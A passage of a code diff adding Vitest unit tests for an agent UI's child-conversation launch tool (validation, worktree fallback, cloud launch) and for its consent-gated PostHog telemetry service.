+  return JSON.parse(
+    message.content[0].text.slice(CHILD_CONVERSATION_RESULT_PREFIX.length),
+  );
+}
+
+let toolCall = 0;
+const nextToolCallId = () => {
+  toolCall += 1;
+  return `tool-call-${toolCall}`;
+};
+
+/** The repo fields the parent's metadata hands down to its children. */
+const PARENT_REPO_METADATA = {
+  selected_repository: "octocat/hello-world",
+  selected_branch: "main",
+  git_provider: null,
+};
+
+/**
+ * Give the parent a repository/workspace, which is what marks its workspace as
+ * able to host a worktree. Without stored metadata the parent is a scratch
+ * directory and the worktree is skipped.
+ */
+function seedWorktreeCapableParent() {
+  setStoredConversationMetadata(PARENT_ID, {
+    ...PARENT_REPO_METADATA,
+    selected_workspace: "/Users/jane/projects/foo",
+  });
+}
+
+describe("handleLaunchChildConversationAction", () => {
+  beforeEach(() => {
+    window.localStorage.clear();
+    useGoalStore.setState({ statusByConversation: {} });
+    vi.clearAllMocks();
+    mockResolveWorkingDir.mockResolvedValue("/Users/jane/projects/foo");
+    mockCreateConversation.mockResolvedValue({
+      id: "start-task-id",
+      app_conversation_id: "child-id",
+      status: "READY",
+    });
+    mockUpdateTitle.mockResolvedValue(undefined);
+    mockSendMessage.mockResolvedValue(undefined);
+    mockGetCachedAgentServerVersion.mockReturnValue("1.37.1");
+  });
+
+  describe("parameter validation", () => {
+    // `enum` is advertised to the LLM but dropped when the agent-server builds
+    // the action model, so these values arrive intact and must be caught here.
+    it.each([
+      [
+        "an unknown target",
+        { target: "clould" },
+        '`target` must be exactly "local" or "cloud"',
+      ],
+      [
+        "an unknown isolation",
+        { isolation: "worktre" },
+        '`isolation` must be exactly "worktree" or "shared"',
+      ],
+      [
+        "a repository on a local target",
+        { target: "local", repository: "octocat/hello-world" },
+        "A local child always runs in this conversation's workspace",
+      ],
+      [
+        "an isolation on a cloud target",
+        { target: "cloud", isolation: "worktree" },
+        "Cloud children always run in their own isolated sandbox",
+      ],
+      [
+        "a branch without a repository",
+        { target: "cloud", branch: "main" },
+        'Pass `repository` as "owner/repo" alongside `branch`',
+      ],
+      [
+        "an empty task",
+        { task: "   " },
+        "`task` must be a self-contained brief",
+      ],
+    ])(
+      "rejects %s with corrective guidance and launches nothing",
+      async (_label, overrides, guidance) => {
+        await handleLaunchChildConversationAction(
+          action(overrides),
+          PARENT_ID,
+          nextToolCallId(),
+        );
+
+        const result = reportedResult();
+        expect(result.status).toBe("error");
+        expect(result.status === "error" && result.guidance).toContain(
+          guidance,
+        );
+        expect(mockCreateConversation).not.toHaveBeenCalled();
+        expect(mockCreateCloudAppConversation).not.toHaveBeenCalled();
+      },
+    );
+  });
+
+  describe("local target", () => {
+    // The agent server rejects a parent in a different workspace, so the child
+    // has to request the parent's own directory and isolate via the worktree.
+    it("launches into the parent's workspace as a linked, isolated child", async () => {
+      seedWorktreeCapableParent();
+
+      await handleLaunchChildConversationAction(
+        action({}),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      expect(mockCreateConversation).toHaveBeenCalledWith({
+        initialUserMsg: "Add a regression test for the parser",
+        metadata: PARENT_REPO_METADATA,
+        workingDirOverride: "/Users/jane/projects/foo",
+        workspaceMode: "new_worktree",
+        parentConversationId: PARENT_ID,
+      });
+    });
+
+    it("reports the child's id, url and status back to the agent", async () => {
+      seedWorktreeCapableParent();
+
+      await handleLaunchChildConversationAction(
+        action({}),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      expect(reportedResult()).toMatchObject({
+        status: "launched",
+        target: "local",
+        conversation_id: "child-id",
+        url: "http://localhost:3000/conversations/child-id",
+        initial_status: "READY",
+        workspace: "/Users/jane/projects/foo",
+        isolation: "worktree",
+        parent_link: true,
+      });
+    });
+
+    // Local start requests carry no title field — only `autotitle` — so an
+    // explicit title has to be applied as a follow-up rename.
+    it("renames the child when a title is given", async () => {
+      await handleLaunchChildConversationAction(
+        action({ title: "Parser tests" }),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      expect(mockUpdateTitle).toHaveBeenCalledWith("child-id", "Parser tests");
+    });
+
+    it("runs a shared-isolation child in the parent's directory itself", async () => {
+      await handleLaunchChildConversationAction(
+        action({ isolation: "shared" }),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      expect(mockCreateConversation).toHaveBeenCalledWith({
+        initialUserMsg: expect.anything(),
+        metadata: null,
+        workingDirOverride: "/Users/jane/projects/foo",
+        workspaceMode: "local_repo",
+        parentConversationId: PARENT_ID,
+      });
+    });
+
+    // `parent_conversation_id` landed in agent-server 1.37.1; older servers
+    // drop it silently, so the agent must not be told the link exists.
+    it("reports that an older agent server did not persist the parent link", async () => {
+      mockGetCachedAgentServerVersion.mockReturnValue("1.37.0");
+
+      await handleLaunchChildConversationAction(
+        action({}),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      const result = reportedResult();
+      expect(result).toMatchObject({ status: "launched", parent_link: false });
+      expect(result.status === "launched" && result.parent_link_note).toContain(
+        "1.37.1",
+      );
+    });
+
+    it("turns a failed launch into corrective guidance", async () => {
+      mockCreateConversation.mockRejectedValue(new Error("boom"));
+
+      await handleLaunchChildConversationAction(
+        action({}),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      expect(reportedResult()).toMatchObject({
+        status: "error",
+        error: "boom",
+      });
+    });
+
+    // A conversation started without a repository runs in a scratch directory
+    // that is `git init`-ed but never committed to. `git worktree add` cannot
+    // branch from an unborn HEAD, and the agent-server raises that as a 500
+    // that used to take the whole launch down.
+    it("skips the worktree when the parent workspace cannot host one", async () => {
+      await handleLaunchChildConversationAction(
+        action({}),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      expect(mockCreateConversation).toHaveBeenCalledTimes(1);
+      expect(mockCreateConversation).toHaveBeenCalledWith({
+        initialUserMsg: expect.anything(),
+        metadata: null,
+        workingDirOverride: "/Users/jane/projects/foo",
+        workspaceMode: "local_repo",
+        parentConversationId: PARENT_ID,
+      });
+
+      const result = reportedResult();
+      expect(result).toMatchObject({ status: "launched", isolation: "shared" });
+      expect(result.status === "launched" && result.isolation_note).toContain(
+        "no commits",
+      );
+    });
+
+    // The metadata check cannot see the workspace's git state, so a worktree
+    // that fails anyway must not lose the launch.
+    it("falls back to a shared child when the worktree cannot be created", async () => {
+      seedWorktreeCapableParent();
+      mockCreateConversation.mockRejectedValueOnce(
+        new Error("fatal: not a valid object name: 'HEAD'"),
+      );
+
+      await handleLaunchChildConversationAction(
+        action({}),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      expect(mockCreateConversation).toHaveBeenCalledTimes(2);
+      expect(mockCreateConversation).toHaveBeenLastCalledWith({
+        initialUserMsg: expect.anything(),
+        metadata: PARENT_REPO_METADATA,
+        workingDirOverride: "/Users/jane/projects/foo",
+        workspaceMode: "local_repo",
+        parentConversationId: PARENT_ID,
+      });
+
+      const result = reportedResult();
+      expect(result).toMatchObject({
+        status: "launched",
+        conversation_id: "child-id",
+        isolation: "shared",
+      });
+      // The agent promised the user an isolated child, so it has to learn that
+      // this one shares the parent's directory after all.
+      expect(result.status === "launched" && result.isolation_note).toContain(
+        "not a valid object name",
+      );
+    });
+
+    // Both attempts failing means the worktree was not the problem, so the
+    // agent gets the original error rather than the fallback's.
+    it("reports the original failure when the shared fallback also fails", async () => {
+      seedWorktreeCapableParent();
+      mockCreateConversation
+        .mockRejectedValueOnce(new Error("worktree boom"))
+        .mockRejectedValueOnce(new Error("fallback boom"));
+
+      await handleLaunchChildConversationAction(
+        action({}),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      expect(mockCreateConversation).toHaveBeenCalledTimes(2);
+      expect(reportedResult()).toMatchObject({
+        status: "error",
+        error: "worktree boom",
+      });
+    });
+
+    it("does not retry a child that never asked for a worktree", async () => {
+      mockCreateConversation.mockRejectedValue(new Error("boom"));
+
+      await handleLaunchChildConversationAction(
+        action({ isolation: "shared" }),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      expect(mockCreateConversation).toHaveBeenCalledTimes(1);
+      expect(reportedResult()).toMatchObject({
+        status: "error",
+        error: "boom",
+      });
+    });
+  });
+
+  describe("cloud target", () => {
+    const cloudBackend = {
+      id: "cloud-1",
+      kind: "cloud" as const,
+      host: "https://app.all-hands.dev",
+      apiKey: "secret",
+      name: "Cloud",
+    };
+
+    beforeEach(() => {
+      mockPickCloudBackend.mockReturnValue(cloudBackend);
+    });
+
+    it("starts the child on the connected cloud backend without a dangling parent link", async () => {
+      mockCreateCloudAppConversation.mockResolvedValue({
+        id: "start-task-id",
+        app_conversation_id: "cloud-child-id",
+        status: "READY",
+      });
+
+      await handleLaunchChildConversationAction(
+        action({
+          target: "cloud",
+          repository: "octocat/hello-world",
+          branch: "main",
+        }),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      expect(mockCreateCloudAppConversation).toHaveBeenCalledWith(
+        expect.objectContaining({
+          selected_repository: "octocat/hello-world",
+          selected_branch: "main",
+          // The parent lives on the local agent server, so Cloud has no
+          // conversation to link the child to — and a dangling id would hide
+          // the child from the Cloud conversation list.
+          parent_conversation_id: null,
+        }),
+        cloudBackend,
+      );
+    });
+
+    // Cloud provisions the sandbox asynchronously and only fills in
+    // `app_conversation_id` at READY, so reporting the first response would
+    // hand the agent a result with no conversation to open.
+    it("waits for the sandbox to expose the conversation id before reporting", async () => {
+      mockCreateCloudAppConversation.mockResolvedValue({
+        id: "start-task-id",
+        app_conversation_id: null,
+        status: "WORKING",
+      });
+      mockGetCloudStartTask.mockResolvedValue({
+        id: "start-task-id",
+        app_conversation_id: "cloud-child-id",
+        status: "READY",
+      });
+
+      await handleLaunchChildConversationAction(
+        action({ target: "cloud" }),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      expect(reportedResult()).toMatchObject({
+        status: "launched",
+        target: "cloud",
+        conversation_id: "cloud-child-id",
+        url: "https://app.all-hands.dev/conversations/cloud-child-id",
+        initial_status: "READY",
+        parent_link: false,
+      });
+    });
+
+    it("guides the agent back to local when no cloud backend is connected", async () => {
+      mockPickCloudBackend.mockReturnValueOnce(null);
+
+      await handleLaunchChildConversationAction(
+        action({ target: "cloud" }),
+        PARENT_ID,
+        nextToolCallId(),
+      );
+
+      const result = reportedResult();
+      expect(result.status).toBe("error");
+      expect(result.status === "error" && result.guidance).toContain(
+        'target="local"',
+      );
+      expect(mockCreateCloudAppConversation).not.toHaveBeenCalled();
+    });
+  });
+
+  // A replayed ActionEvent (socket reconnect, or a REST/WebSocket race after a
+  // reload) must not start a second — on Cloud, billable — conversation.
+  it("ignores a replayed tool call", async () => {
+    const toolCallId = nextToolCallId();
+
+    await handleLaunchChildConversationAction(
+      action({}),
+      PARENT_ID,
+      toolCallId,
+    );
+    await handleLaunchChildConversationAction(
+      action({}),
+      PARENT_ID,
+      toolCallId,
+    );
+
+    expect(mockCreateConversation).toHaveBeenCalledTimes(1);
+    expect(mockSendMessage).toHaveBeenCalledTimes(1);
+  });
+
+  // The agent server cancels an active /goal loop on any inbound message, so
+  // the result stays in the toast rather than ending the user's loop.
+  it("does not post the result while a goal loop is running", async () => {
+    useGoalStore.setState({
+      statusByConversation: {
+        [PARENT_ID]: {
+          active: true,
+          status: "running",
+          iteration: 1,
+          max_iterations: 5,
+          objective: "ship it",
+          verdict: null,
+        },
+      },
+    });
+
+    await handleLaunchChildConversationAction(
+      action({}),
+      PARENT_ID,
+      nextToolCallId(),
+    );
+
+    expect(mockCreateConversation).toHaveBeenCalledTimes(1);
+    expect(mockSendMessage).not.toHaveBeenCalled();
+  });
+});
+
+describe("isLaunchChildConversationActionEvent", () => {
+  const makeActionEvent = (toolName: string) =>
+    ({
+      id: "evt-1",
+      timestamp: "2026-07-26T00:00:00Z",
+      source: "agent",
+      action: {
+        kind: LAUNCH_CHILD_CONVERSATION_ACTION_KIND,
+        target: "local",
+        task: "do the thing",
+      },
+      tool_name: toolName,
+      tool_call_id: "call-1",
+    }) as never;
+
+  it("returns true for an ActionEvent from the launch tool", () => {
+    expect(
+      isLaunchChildConversationActionEvent(
+        makeActionEvent(LAUNCH_CHILD_CONVERSATION_TOOL_NAME),
+      ),
+    ).toBe(true);
+  });
+
+  it("returns false when tool_name belongs to a different tool", () => {
+    expect(
+      isLaunchChildConversationActionEvent(
+        makeActionEvent("canvas_ui_control"),
+      ),
+    ).toBe(false);
+  });
+});
diff --git a/__tests__/services/cloud-funnel-analytics.test.ts b/__tests__/services/cloud-funnel-analytics.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d6f4d52631c5092fd8e526b15cc77135df5447b2
--- /dev/null
+++ b/__tests__/services/cloud-funnel-analytics.test.ts
@@ -0,0 +1,81 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const mocks = vi.hoisted(() => ({
+  trackEvent: vi.fn(),
+}));
+
+vi.mock("#/services/telemetry", () => ({
+  trackEvent: mocks.trackEvent,
+}));
+
+import {
+  trackCloudConversationReady,
+  trackCloudDeviceAuthorizationStarted,
+  trackCloudDeviceAuthorizationSucceeded,
+} from "#/services/cloud-funnel-analytics";
+
+describe("cloud funnel analytics", () => {
+  beforeEach(() => {
+    mocks.trackEvent.mockReset();
+  });
+
+  it("emits the device authorization milestones with coarse attribution", () => {
+    trackCloudDeviceAuthorizationStarted(
+      "https://app.all-hands.dev",
+      "onboarding",
+    );
+    trackCloudDeviceAuthorizationSucceeded(
+      "https://app.all-hands.dev",
+      "onboarding",
+    );
+
+    expect(mocks.trackEvent).toHaveBeenNthCalledWith(
+      1,
+      "cloud_device_authorization_started",
+      expect.objectContaining({
+        backend_kind: "cloud",
+        connection_method: "cloud_login",
+        agent_server_version: "unknown",
+        automation_sdk_version: "unknown",
+        backend_version: "unknown",
+        source: "onboarding",
+      }),
+    );
+    expect(mocks.trackEvent).toHaveBeenNthCalledWith(
+      2,
+      "cloud_device_authorization_succeeded",
+      expect.objectContaining({ source: "onboarding" }),
+    );
+  });
+
+  it("emits the ready milestone without conversation content", () => {
+    trackCloudConversationReady("task-id", "conversation-id");
+
+    expect(mocks.trackEvent).toHaveBeenNthCalledWith(
+      1,
+      "cloud_conversation_ready",
+      expect.objectContaining({
+        task_id: "task-id",
+        conversation_id: "conversation-id",
+        backend_kind: "cloud",
+        agent_server_version: "unknown",
+        automation_sdk_version: "unknown",
+        backend_version: "unknown",
+      }),
+    );
+  });
+
+  it("uses a stable insert ID to deduplicate polling consumers at ingestion", () => {
+    trackCloudConversationReady("task-dedupe", "conversation-dedupe");
+    trackCloudConversationReady("task-dedupe", "conversation-dedupe");
+
+    expect(mocks.trackEvent).toHaveBeenCalledTimes(2);
+    expect(mocks.trackEvent).toHaveBeenNthCalledWith(
+      2,
+      "cloud_conversation_ready",
+      expect.objectContaining({
+        $insert_id: "agent_canvas:cloud_conversation_ready:task-dedupe",
+      }),
+    );
+  });
+});
diff --git a/__tests__/services/telemetry-bootstrap.test.ts b/__tests__/services/telemetry-bootstrap.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..0f0ad38f477cde47bf821402a8486a0a70a6bc7f
--- /dev/null
+++ b/__tests__/services/telemetry-bootstrap.test.ts
@@ -0,0 +1,87 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+type MockPostHog = {
+  init: ReturnType<typeof vi.fn>;
+  capture: ReturnType<typeof vi.fn>;
+  captureException: ReturnType<typeof vi.fn>;
+  opt_in_capturing: ReturnType<typeof vi.fn>;
+  opt_out_capturing: ReturnType<typeof vi.fn>;
+  has_opted_out_capturing: ReturnType<typeof vi.fn>;
+  identify: ReturnType<typeof vi.fn>;
+  get_property: ReturnType<typeof vi.fn>;
+  reset: ReturnType<typeof vi.fn>;
+};
+
+async function loadTelemetryWithLegacyUser() {
+  let identifiedUserId: string | undefined = "legacy-cloud-user";
+  const mockPosthog: MockPostHog = {
+    init: vi.fn(),
+    capture: vi.fn(),
+    captureException: vi.fn(),
+    opt_in_capturing: vi.fn(),
+    opt_out_capturing: vi.fn(),
+    has_opted_out_capturing: vi.fn(() => false),
+    identify: vi.fn((userId: string) => {
+      identifiedUserId = userId;
+    }),
+    get_property: vi.fn((property: string) =>
+      property === "$user_id" ? identifiedUserId : undefined,
+    ),
+    reset: vi.fn(() => {
+      identifiedUserId = undefined;
+    }),
+  };
+  mockPosthog.init.mockReturnValue(mockPosthog);
+
+  vi.doMock("posthog-js", () => ({
+    default: mockPosthog,
+  }));
+
+  const telemetry = await import("#/services/telemetry");
+  return { telemetry, mockPosthog };
+}
+
+describe("Telemetry bootstrap identity migration", () => {
+  beforeEach(() => {
+    vi.resetModules();
+    vi.clearAllMocks();
+    localStorage.clear();
+    sessionStorage.clear();
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+  });
+
+  it("preserves an identified user while Cloud identity is unresolved", async () => {
+    const { telemetry, mockPosthog } = await loadTelemetryWithLegacyUser();
+
+    await telemetry.setTelemetryConsent("granted");
+
+    expect(mockPosthog.reset).not.toHaveBeenCalled();
+    expect(mockPosthog.opt_in_capturing).toHaveBeenCalled();
+    expect(mockPosthog.identify).not.toHaveBeenCalled();
+  });
+
+  it("preserves OAuth bootstrap identity instead of resetting legacy users", async () => {
+    const { telemetry, mockPosthog } = await loadTelemetryWithLegacyUser();
+
+    telemetry.configurePostHogBootstrap({
+      distinctID: "bootstrapped-browser-id",
+      sessionID: "bootstrapped-session-id",
+    });
+    await telemetry.setTelemetryConsent("granted");
+
+    expect(mockPosthog.reset).not.toHaveBeenCalled();
+    expect(mockPosthog.init).toHaveBeenCalledWith(
+      expect.any(String),
+      expect.objectContaining({
+        bootstrap: {
+          distinctID: "bootstrapped-browser-id",
+          sessionID: "bootstrapped-session-id",
+        },
+        person_profiles: "always",
+      }),
+      "agent-canvas",
+    );
+    expect(mockPosthog.identify).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/services/telemetry-delivery.test.ts b/__tests__/services/telemetry-delivery.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..0c92458083d751b66e0800808e05ca4354285315
--- /dev/null
+++ b/__tests__/services/telemetry-delivery.test.ts
@@ -0,0 +1,45 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import posthog from "posthog-js";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import {
+  clearTelemetryData,
+  initializePostHogClient,
+  setTelemetryConsent,
+  trackInstall,
+} from "#/services/telemetry";
+import { useTracking } from "#/hooks/use-tracking";
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => ({ data: undefined }),
+}));
+
+describe("Canvas telemetry delivery", () => {
+  afterEach(async () => {
+    await clearTelemetryData();
+  });
+
+  it("keeps install and backend-transition events on one client identity", async () => {
+    const client = await initializePostHogClient();
+    expect(client).not.toBeNull();
+    expect(client).not.toBe(posthog);
+    const capture = vi.spyOn(client!, "capture");
+
+    await trackInstall();
+    expect(capture).toHaveBeenCalledWith("canvas_install", expect.any(Object));
+    const installDistinctId = client!.get_distinct_id();
+
+    await setTelemetryConsent("granted");
+    const { result } = renderHook(() => useTracking());
+
+    result.current.trackBackendAdded({
+      backendKind: "cloud",
+      connectionMethod: "cloud_login",
+      hasApiKey: true,
+      source: "onboarding",
+    });
+    await waitFor(() =>
+      expect(capture).toHaveBeenCalledWith("backend_added", expect.any(Object)),
+    );
+    expect(client!.get_distinct_id()).toBe(installDistinctId);
+  });
+});
diff --git a/__tests__/services/telemetry.test.ts b/__tests__/services/telemetry.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..2ab8ba24cb2f228385865e169f8ba3d3e5a8a4c3
--- /dev/null
+++ b/__tests__/services/telemetry.test.ts
@@ -0,0 +1,642 @@
+import { describe, it, expect, beforeEach, vi, afterEach } from "vitest";
+
+// Mock posthog-js before importing telemetry service
+let identifiedUserId: string | undefined;
+let anonymousDistinctId = "ph-test-distinct-id";
+let latestPostHogConfig:
+  | (Record<string, unknown> & { before_send: (event: unknown) => unknown })
+  | undefined;
+const mockPosthog = {
+  init: vi.fn(),
+  capture: vi.fn(),
+  captureException: vi.fn(),
+  opt_in_capturing: vi.fn(),
+  opt_out_capturing: vi.fn(),
+  has_opted_out_capturing: vi.fn(() => false),
+  identify: vi.fn((userId: string) => {
+    identifiedUserId = userId;
+  }),
+  get_property: vi.fn((property: string) =>
+    property === "$user_id" ? identifiedUserId : undefined,
+  ),
+  get_distinct_id: vi.fn(() => identifiedUserId ?? anonymousDistinctId),
+  reset: vi.fn((resetDeviceId = false) => {
+    identifiedUserId = undefined;
+    anonymousDistinctId = resetDeviceId
+      ? "ph-reset-device-id"
+      : "ph-reset-distinct-id";
+  }),
+};
+mockPosthog.init.mockImplementation((_, config) => {
+  latestPostHogConfig = config;
+  return mockPosthog;
+});
+
+vi.mock("posthog-js", () => ({
+  default: mockPosthog,
+}));
+
+import {
+  clearPendingCloudTelemetryConsent,
+  clearPendingLocalTelemetryRevocation,
+  clearTelemetryData,
+  configureTelemetry,
+  getPendingCloudTelemetryConsent,
+  getPendingLocalTelemetryRevocationId,
+  getTelemetryConsent,
+  getTelemetryDistinctId,
+  getTelemetryDistinctIdForConsentSync,
+  initializePostHogClient,
+  isTelemetryEnabled,
+  setTelemetryBackendContext,
+  setTelemetryCloudContext,
+  setTelemetryConsent,
+  setTelemetryIdentity,
+  subscribeTelemetryConsent,
+  trackEvent,
+  trackException,
+  trackInstall,
+  trackSessionStart,
+} from "#/services/telemetry";
+
+// Mock import.meta.env for tests
+vi.stubGlobal("import.meta", {
+  env: {
+    DEV: false,
+    VITE_DO_NOT_TRACK: undefined,
+  },
+});
+
+describe("Telemetry Service", () => {
+  beforeEach(async () => {
+    // Clear localStorage before each test
+    localStorage.clear();
+    sessionStorage.clear();
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_DO_NOT_TRACK__;
+    // Reset mock
+    vi.clearAllMocks();
+    identifiedUserId = undefined;
+    anonymousDistinctId = "ph-test-distinct-id";
+    mockPosthog.has_opted_out_capturing.mockReturnValue(false);
+    mockPosthog.get_distinct_id.mockImplementation(
+      () => identifiedUserId ?? anonymousDistinctId,
+    );
+    await setTelemetryIdentity(null);
+    setTelemetryBackendContext({});
+  });
+
+  afterEach(() => {
+    configureTelemetry({});
+    localStorage.clear();
+    sessionStorage.clear();
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_DO_NOT_TRACK__;
+  });
+
+  describe("PostHog ownership", () => {
+    it("retries one named Canvas client with runtime configuration", async () => {
+      configureTelemetry({
+        apiKey: "phc_embedded",
+        apiHost: "https://events.example.com",
+        uiHost: "https://posthog.example.com",
+      });
+      configureTelemetry({
+        apiKey: undefined,
+        apiHost: undefined,
+        uiHost: undefined,
+      });
+      mockPosthog.init.mockImplementationOnce(() => null);
+      await setTelemetryConsent("granted");
+      await expect(initializePostHogClient()).resolves.toBe(mockPosthog);
+
+      expect(mockPosthog.init).toHaveBeenCalledTimes(2);
+      expect(mockPosthog.init).toHaveBeenCalledWith(
+        "phc_embedded",
+        expect.objectContaining({
+          api_host: "https://events.example.com",
+          ui_host: "https://posthog.example.com",
+          persistence_name: "agent-canvas",
+          consent_persistence_name: "agent-canvas-consent",
+          person_profiles: "always",
+          capture_pageview: "history_change",
+          autocapture: true,
+        }),
+        "agent-canvas",
+      );
+      expect(mockPosthog.opt_in_capturing).toHaveBeenCalled();
+      const config = mockPosthog.init.mock.calls[1][1];
+      expect(
+        config.before_send({
+          event: "test_event",
+          properties: { client_source: "incorrect", custom: "value" },
+        }),
+      ).toEqual({
+        event: "test_event",
+        properties: expect.objectContaining({
+          client_source: "agent_canvas",
+          client_version: expect.any(String),
+          package_name: "@openhands/agent-canvas",
+          package_version: expect.any(String),
+          backend_kind: null,
+          agent_server_version: "unknown",
+          automation_sdk_version: "unknown",
+          backend_version: "unknown",
+          custom: "value",
+        }),
+      });
+
+      setTelemetryBackendContext({
+        backendKind: "local",
+        agentServerVersion: "1.36.2",
+        automationSdkVersion: "1.36.3",
+      });
+      expect(
+        config.before_send({
+          event: "backend_context_event",
+          properties: { backend_kind: "cloud", custom: "value" },
+        }),
+      ).toEqual({
+        event: "backend_context_event",
+        properties: expect.objectContaining({
+          backend_kind: "cloud",
+          agent_server_version: "1.36.2",
+          automation_sdk_version: "1.36.3",
+          backend_version: "1.36.2",
+          custom: "value",
+        }),
+      });
+    });
+  });
+
+  describe("Cloud identity and context", () => {
+    it("identifies a consented Cloud user and adds Cloud event context", async () => {
+      await setTelemetryConsent("granted");
+
+      setTelemetryCloudContext({
+        userId: "user-a",
+        email: "a@example.com",
+        orgId: "org-a",
+      });
+      await setTelemetryIdentity("user-a", { email: "a@example.com" });
+
+      expect(mockPosthog.identify).toHaveBeenCalledWith("user-a", {
+        email: "a@example.com",
+      });
+      await expect(getTelemetryDistinctId()).resolves.toBe("user-a");
+      expect(latestPostHogConfig).toBeDefined();
+      expect(
+        latestPostHogConfig!.before_send({
+          event: "cloud_event",
+          properties: {},
+        }),
+      ).toEqual({
+        event: "cloud_event",
+        properties: expect.objectContaining({
+          cloud_user_id: "user-a",
+          cloud_user_email: "a@example.com",
+          cloud_org_id: "org-a",
+        }),
+      });
+    });
+
+    it("resets before switching Cloud accounts and restores consent", async () => {
+      await setTelemetryConsent("granted");
+      await setTelemetryIdentity("user-a");
+      vi.clearAllMocks();
+
+      await setTelemetryIdentity("user-b");
+
+      expect(mockPosthog.reset).toHaveBeenCalledWith(false);
+      expect(mockPosthog.opt_in_capturing).toHaveBeenCalledOnce();
+      expect(mockPosthog.identify).toHaveBeenCalledWith("user-b", {});
+    });
+
+    it("clears identity on logout without changing the device", async () => {
+      await setTelemetryConsent("granted");
+      await setTelemetryIdentity("user-a");
+      vi.clearAllMocks();
+
+      await setTelemetryIdentity(null);
+
+      expect(mockPosthog.reset).toHaveBeenCalledWith(false);
+      expect(mockPosthog.opt_in_capturing).toHaveBeenCalledOnce();
+      expect(mockPosthog.identify).not.toHaveBeenCalled();
+    });
+
+    it("removes identity on denial and reapplies it after consent returns", async () => {
+      await setTelemetryConsent("granted");
+      await setTelemetryIdentity("user-a");
+      vi.clearAllMocks();
+
+      await setTelemetryConsent("denied");
+
+      expect(mockPosthog.reset).toHaveBeenCalledWith(false);
+      expect(mockPosthog.opt_out_capturing).toHaveBeenCalled();
+
+      vi.clearAllMocks();
+      await setTelemetryConsent("granted");
+
+      expect(mockPosthog.identify).toHaveBeenCalledWith("user-a", {});
+    });
+
+    it("syncs denial for the actor that existed before PostHog reset", async () => {
+      await setTelemetryConsent("granted");
+      await setTelemetryIdentity("user-a");
+
+      await setTelemetryConsent("denied");
+
+      expect(mockPosthog.get_distinct_id()).toBe("ph-reset-distinct-id");
+      expect(getPendingLocalTelemetryRevocationId()).toBe("user-a");
+      await expect(getTelemetryDistinctIdForConsentSync()).resolves.toBe(
+        "user-a",
+      );
+
+      clearPendingLocalTelemetryRevocation("user-a");
+      expect(getPendingLocalTelemetryRevocationId()).toBeNull();
+    });
+
+    it("clears Cloud user context for local events", async () => {
+      await setTelemetryConsent("granted");
+
+      setTelemetryCloudContext({
+        userId: "user-a",
+        email: "a@example.com",
+        orgId: "org-a",
+      });
+      setTelemetryCloudContext(null);
+
+      expect(latestPostHogConfig).toBeDefined();
+      expect(
+        latestPostHogConfig!.before_send({
+          event: "local_event",
+          properties: {},
+        }),
+      ).toEqual({
+        event: "local_event",
+        properties: expect.objectContaining({
+          cloud_user_id: null,
+          cloud_user_email: null,
+          cloud_org_id: null,
+        }),
+      });
+    });
+  });
+
+  describe("getTelemetryConsent", () => {
+    it("returns 'pending' when no consent has been set", () => {
+      expect(getTelemetryConsent()).toBe("pending");
+    });
+
+    it("returns 'granted' when consent is granted", () => {
+      localStorage.setItem("openhands-telemetry-consent", "granted");
+      expect(getTelemetryConsent()).toBe("granted");
+    });
+
+    it("returns 'denied' when consent is denied", () => {
+      localStorage.setItem("openhands-telemetry-consent", "denied");
+      expect(getTelemetryConsent()).toBe("denied");
+    });
+
+    it("treats same-origin locked Cloud cookie auth as granted", () => {
+      localStorage.setItem("openhands-telemetry-consent", "denied");
+      (
+        window as unknown as Record<string, unknown>
+      ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = window.location.origin;
+
+      expect(getTelemetryConsent()).toBe("granted");
+    });
+  });
+
+  describe("setTelemetryConsent", () => {
+    it("stores granted consent in localStorage", async () => {
+      await setTelemetryConsent("granted");
+      expect(localStorage.getItem("openhands-telemetry-consent")).toBe(
+        "granted",
+      );
+    });
+
+    it("stores denied consent in localStorage", async () => {
+      await setTelemetryConsent("denied");
+      expect(localStorage.getItem("openhands-telemetry-consent")).toBe(
+        "denied",
+      );
+    });
+
+    it("applies consent synchronously once the shared client is initialized", async () => {
+      await setTelemetryConsent("denied");
+      vi.clearAllMocks();
+
+      const update = setTelemetryConsent("granted");
+
+      expect(mockPosthog.opt_in_capturing).toHaveBeenCalledTimes(1);
+      await update;
+    });
+
+    it("marks an explicit pre-login choice for backend reconciliation", async () => {
+      const listener = vi.fn();
+      const unsubscribe = subscribeTelemetryConsent(listener);
+      await setTelemetryConsent("granted");
+
+      expect(getPendingCloudTelemetryConsent()).toBe("granted");
+      expect(listener).toHaveBeenCalledTimes(1);
+      unsubscribe();
+    });
+
+    it("applies capture consent before notifying identity reconcilers", async () => {
+      const listener = vi.fn(() => {
+        expect(getTelemetryConsent()).toBe("granted");
+        expect(mockPosthog.opt_in_capturing).toHaveBeenCalledTimes(1);
+      });
+      const unsubscribe = subscribeTelemetryConsent(listener);
+
